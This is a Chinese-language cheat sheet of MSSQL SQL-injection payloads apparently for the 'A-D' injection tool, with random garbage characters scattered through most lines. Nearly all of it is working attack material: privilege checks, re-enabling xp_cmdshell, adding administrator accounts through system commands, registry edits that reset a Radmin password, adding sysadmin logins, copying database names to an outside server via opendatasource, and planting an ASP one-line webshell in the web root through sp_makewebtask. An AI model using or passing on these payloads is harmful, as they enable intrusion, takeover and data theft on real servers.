阿D常用的一些注入命令
9 z: c& I* U8 E( u$ L; U+ I- {, ^//看看是什么权限的
6 ] |6 B6 R$ [+ u* nand 1=(Select IS_MEMBER('db_owner')), w; A+ m0 f% D1 q+ {; ~
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--+ K! i. C4 m& O$ j
% _- d" W( W! K0 M- d( I# R h1 S//检测是否有读取某数据库的权限
; G7 F) `6 B! Z3 E: Oand 1= (Select HAS_DBACCESS('master'))0 R& \+ D7 m+ e3 y
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
& P- J. s4 v: ~9 B& `4 F S$ u+ z, _9 ?3 v9 n+ o9 z
5 w$ u7 s9 {5 f- Z9 G数字类型
" D$ n1 N* e5 |" Q0 p; M9 }- land char(124)%2Buser%2Bchar(124)=01 f/ Q7 X; V; \
5 _3 j" f5 g3 ~7 m2 |
字符类型
' U* ^! k0 J( m5 [* u' and char(124)%2Buser%2Bchar(124)=0 and ''=': L3 D2 @5 A# S, F5 l! l% ]
$ b$ [2 L, P& u; d9 s搜索类型/ R( ~4 N1 f! H' [
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
, U' V1 O( P" W2 {! }7 x* i" N) n' b: {( M% v. b
爆用户名- o% F# I/ l) b3 v, j3 C* F4 D
and user>0: M4 S) E' [ [7 t" v s0 f3 ~; h
' and user>0 and ''=': S K6 R8 ?2 i* \- c0 r3 ^+ [
' G1 a0 W. W* L/ x$ N检测是否为SA权限
4 R8 Y1 _- i' r" D; c8 {& Yand 1=(select IS_SRVROLEMEMBER('sysadmin'));--6 D& I4 q/ _8 T5 Y$ X) H- Q4 P
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
, S0 w6 \7 q& i4 A* i& Y6 A+ t) M( J" ?, R# L! @* Z: R! V8 H9 H
检测是不是MSSQL数据库
# A$ o3 e) P& pand exists (select * from sysobjects);-- 0 P4 p6 o0 g0 A: N( o6 g* M; q
3 p8 I* r" Y1 n$ L5 H检测是否支持多行
+ j& w' h0 ]: Q4 g;declare @d int;--
) N0 N; G2 g" z6 D/ T4 c- o; `0 I: |2 W: i+ I# R( f* _6 u$ o
恢复 xp_cmdshell2 x5 M) F! ^1 w r+ X! N
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--5 G$ O8 g% y& z+ k' _+ x* \, @3 I
* }7 [4 |3 S0 Q7 @- z( w9 f* L; P1 u3 e: H
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') . l' q# B! D( L3 }" j Y7 Y
9 h4 f% L6 h/ I S7 L. [' j//-----------------------
. r; ^* j* ?) g+ S E$ d C& z// 执行命令 q# o. v1 M2 w. R7 E
//-----------------------
, t+ ~, C" Q: U; H首先开启沙盘模式:
" N! f3 M6 e( t G: q+ lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) M. F' I2 t% x- W+ r
' R' m. t! B5 B- c9 W然后利用jet.oledb执行系统命令
/ B8 Q% j+ j' s5 \2 ~- U$ nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')% s4 k. _3 Q; R! c
& @# F D/ ~9 i: Z执行命令, R$ j6 d" e3 |* f
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--! K$ M W9 r& ~) V# A1 `
; X+ |3 _: G# ` ~' [; mEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'' A+ f7 h# ~2 |( m% q) G: q
* S* L1 W( b0 t8 s
判断xp_cmdshell扩展存储过程是否存在:
2 d3 G$ Y" r9 L9 c" p. L! ]9 Phttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
- b* h7 d+ l/ T* N: i: w# x$ E5 x3 X" M/ A6 F# C
写注册表
/ O4 l2 |% }- `, mexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" @" z+ b& G- p' K3 B6 r2 P, f# m
REG_SZ! _' r$ w4 T9 n" I
- o9 C$ e/ r+ _1 J读注册表
9 }! m2 b" t+ d8 @' j# e/ w* Kexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'$ u( a0 \& {) x1 n# f
( O! j6 p3 u" |! P7 W* V" H# C读取目录内容
# l$ p2 a6 O! w( g: l, Q4 fexec master..xp_dirtree 'c:\winnt\system32\',1,1( l5 h$ i& _( |( o; O, t
2 X% m8 A6 ^$ R9 D5 `7 ~# f5 C% B, S2 \
数据库备份* n7 [0 e9 t' r7 ^, C9 U
backup database pubs to disk = 'c:\123.bak'
% Z) D, B! {6 l; d3 S# u
$ s' [/ ]$ u! a//爆出长度3 f; \$ a$ d3 T8 f3 e/ S$ {
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
7 U1 v8 e1 n8 }/ n5 Y @, R
) l$ W1 |$ V, t/ O$ G6 O/ V3 ?* N2 B; `: a$ w
" i+ ?" x- F( c更改sa口令方法:用sql综合利用工具连接后,执行命令:
" J9 h" O2 |) z; Fexec sp_password NULL,'新密码','sa'9 W" H. ?6 ]% `6 O9 T8 o% N, |
% t5 K A; F$ C+ o添加和删除一个SA权限的用户test:* A, a+ @2 P1 c, C3 ?
exec master.dbo.sp_addlogin test,ptlove7 H. ?& {/ b2 e, k/ q6 M2 o7 k
exec master.dbo.sp_addsrvrolemember test,sysadmin
/ y0 K4 j! z. K/ A, M! s. h- e* |! Z: b
删除扩展存储过过程xp_cmdshell的语句:
! E( B; f1 q) d6 Vexec sp_dropextendedproc 'xp_cmdshell'
: C7 l2 G& J0 w+ ]
* G4 j4 _5 Q' Y0 N8 s7 e* J% C添加扩展存储过过程
, e+ _- I! ^2 { W; m" hEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
5 j% L2 C6 S* P( H, WGRANT exec On xp_proxiedadata TO public 8 |! C/ m; X1 i
. [; h; b: b+ o l" O( d7 ^% |0 G1 E: g5 {
停掉或激活某个服务。
$ n+ c! b( @! [% C! u
% }* O" W, j: ^9 D5 Jexec master..xp_servicecontrol 'stop','schedule'
/ N/ h- e2 ]& B6 o- Hexec master..xp_servicecontrol 'start','schedule'
! [2 ^& M" E2 N) c$ I) A- ?) J# o o& P0 [
dbo.xp_subdirs
& n1 Z; V& ? l
$ Z$ ~" `9 r) l& u% a只列某个目录下的子目录。% k/ y! N7 s0 c# C/ T1 N* q
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'$ y5 S; o2 n0 X) d
! c6 n3 y5 z4 C2 v& y8 [6 mdbo.xp_makecab
0 b, n' d7 j! L# G o& n
& M W, j" P; x1 C- ~将目标多个档案压缩到某个目标档案之内。
# j% @9 `+ K0 C4 v7 v所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。' l+ {+ v$ e4 {, g6 `: H
: R, r/ S3 ^! n) n, Odbo.xp_makecab9 B+ x$ Y6 m% b2 H* K
'c:\test.cab','mszip',1,
: W, c' ?5 @2 c( K; D9 p'C:\Inetpub\wwwroot\SQLInject\login.asp',- b9 {8 a( z5 ]8 ]: @3 b8 E
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'+ Q9 Y4 Q2 h3 F2 c' D3 [+ i" ~# w
/ \8 Z" S3 L. K) f: [
xp_terminate_process
# j9 ]1 N* P7 _) x0 a3 j, K6 m
" T0 x& c+ r8 h# n/ u; D停掉某个执行中的程序,但赋予的参数是 Process ID。
5 K$ D1 _2 c/ ]+ L( g/ F0 z利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
$ ^& S- X. c5 @& z5 J+ s! @, B8 y i% z4 I K: ^9 K
xp_terminate_process 2484! S" Z7 J& T$ d# t+ V9 U' P, L2 y% ]1 y
2 }! a* X x6 E6 o6 ~; O7 `
xp_unpackcab6 t- t, v5 S& z: {) X2 D) L2 g
! g3 ?9 K% V9 [6 y, h( p7 ^解开压缩档。. ^* E, B' l# s8 j0 [# M
; H: s x$ {% |$ ~xp_unpackcab 'c:\test.cab','c:\temp',1
. ?; e; D3 u: L# h& Q/ W: k- h9 P: v8 \; a
8 [, G% E& \: K
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12341 J3 D; J# R, l7 {% Z
4 m# w" y1 I$ K7 rcreate database lcx;
7 @( T, ?, U( {" w4 cCreate TABLE ku(name nvarchar(256) null);
4 h6 w% M9 Z$ D# RCreate TABLE biao(id int NULL,name nvarchar(256) null);
2 j+ n% b2 U& Q2 e; Y1 M
! i# P! n% o( ] V//得到数据库名
3 x S! O/ K) b9 winsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
) y, d6 ^) f) N* r6 y8 {8 F6 ?& d& a& |0 j
' @, d' T L& g( y2 W4 F2 |/ n% a
//在Master中创建表,看看权限怎样1 G `8 W) J: U( y; K
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: l ]" y) ?" x) w$ j- j
) s; N4 v. I& ^! S$ `7 w用 sp_makewebtask直接在web目录里写入一句话马:
5 d0 p4 G9 E2 ~& bhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--; F4 w1 _0 v" _% L( }1 Q
& M8 ^3 }: L4 q' N% ~% y# c" E
//更新表内容4 g L+ m+ L" s6 Y8 I
Update films SET kind = 'Dramatic' Where id = 123
* k4 n# a' ~+ U4 i8 e3 X2 f' G+ q/ ?% D) M! [7 Y# P5 p! q
//删除内容# t- X8 ^% d) r( M# v
delete from table_name where Stockid = 3 |